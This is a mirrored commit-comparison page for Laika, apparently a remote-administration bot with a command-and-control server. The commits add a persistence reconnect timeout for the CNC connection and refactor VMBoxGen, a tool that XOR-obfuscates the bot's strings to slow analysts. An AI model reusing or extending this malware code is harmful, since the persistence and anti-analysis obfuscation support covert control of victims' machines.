1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-12-04 19:52:48 +00:00

Compare commits

...

2 Commits

Author SHA1 Message Date
7c4a5ddc8c VMBoxGen: minor refactoring 2022-10-08 18:32:33 -05:00
5076e4c7b9 updated to latest libsodium version 2022-10-08 18:09:16 -05:00
5 changed files with 37 additions and 25 deletions

View File

@ -9,6 +9,10 @@
#include <stdio.h>
/* if LAIKA_PERSISTENCE is defined, this will specify the timeout for
retrying to connect to the CNC server */
#define LAIKA_RETRY_CONNECT 5
#ifdef _WIN32
# ifndef LAIKA_DEBUG_BUILD
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
@ -54,9 +58,9 @@ int main()
laikaB_freeBot(bot);
#ifdef LAIKA_PERSISTENCE
# ifdef _WIN32
Sleep(5000);
Sleep(LAIKA_RETRY_CONNECT*1000);
# else
sleep(5);
sleep(LAIKA_RETRY_CONNECT);
# endif
} while (1);

View File

@ -63,6 +63,8 @@ struct sLaikaB_box
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
#endif
/* clang-format off */
/* ======================================[[ Laika Boxes ]]====================================== */
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
@ -116,6 +118,8 @@ LAIKA_FORCEINLINE void laikaB_lock(struct sLaikaB_box *box)
sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE);
}
/* clang-format on */
/* include KEY_* & DATA_* macros for each obfuscated string */
#include "lboxconfig.h"

View File

@ -13,9 +13,9 @@
#define LAIKA_CNC_PORT "@LAIKA_CNC_PORT@"
/* settings */
#cmakedefine LAIKA_DEBUG_BUILD
#cmakedefine LAIKA_PERSISTENCE
#cmakedefine LAIKA_OBFUSCATE
#cmakedefine LAIKA_DEBUG_BUILD
/* raw obfuscated strings */

@ -1 +1 @@
Subproject commit a606dc79ed346b7c9db6df9ceedd1c3361afcf95
Subproject commit f568ff02f1bed155ea598c0e803ef3c9db2703d2

View File

@ -13,11 +13,12 @@
} while (0);
#define RANDBYTE (rand() % UINT8_MAX)
static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c "
"*/\n#ifndef LAIKA_VMBOX_CONFIG_H\n#define LAIKA_VMBOX_CONFIG_H\n\n";
static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c */\n"
"#ifndef LAIKA_VMBOX_CONFIG_H\n"
"#define LAIKA_VMBOX_CONFIG_H\n\n";
static const char *POSTAMBLE = "\n#endif\n";
void writeArray(FILE *out, uint8_t *data, int sz)
static void writeArray(FILE *out, uint8_t *data, int sz)
{
int i;
@ -28,18 +29,18 @@ void writeArray(FILE *out, uint8_t *data, int sz)
fprintf(out, "0x%02x};\n", data[sz - 1]);
}
void writeDefineArray(FILE *out, char *ident, uint8_t *data)
static void writeDefineArray(FILE *out, char *ident, uint8_t *data)
{
fprintf(out, "#define %s ", ident);
writeArray(out, data, LAIKA_VM_CODESIZE);
}
void writeDefineVal(FILE *out, char *ident, int data)
static void writeDefineVal(FILE *out, char *ident, int data)
{
fprintf(out, "#define %s 0x%02x\n", ident, data);
}
void addPadding(uint8_t *data, int start)
static void addPadding(uint8_t *data, int start)
{
int i;
@ -49,15 +50,15 @@ void addPadding(uint8_t *data, int start)
}
}
void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
static void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
{
int i;
for (i = 0; i < sz; i++)
buff[i] = data[i] ^ key;
buff[i++] = key; /* add the null terminator */
addPadding(buff, i);
buff[i++] = key; /* add the null terminator (key ^ key = 0x00) */
addPadding(buff, i); /* fill in the remaining bytes with semi-rand padding */
}
#define MAKESKIDDATA(macro) \
@ -69,14 +70,17 @@ void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
int main(int argv, char **argc)
{
uint8_t tmpBuff[LAIKA_VM_CODESIZE];
int key;
FILE *out;
char *fileName;
int key;
if (argv < 2)
ERR("USAGE: %s [OUTFILE]\n", argv > 0 ? argc[0] : "BoxGen");
if ((out = fopen(argc[1], "w+")) == NULL)
ERR("Failed to open %s!\n", argc[1]);
/* open output file */
fileName = argc[1];
if ((out = fopen(fileName, "w+")) == NULL)
ERR("Failed to open %s!\n", fileName);
srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to
slow them down */
@ -100,8 +104,8 @@ int main(int argv, char **argc)
fprintf(out, POSTAMBLE);
fclose(out);
printf("Wrote %s\n", argc[1]);
printf("Laika VMBox data header dumped to '%s'\n", fileName);
return 0;
}
#undef MAKEDATA
#undef MAKESKIDDATA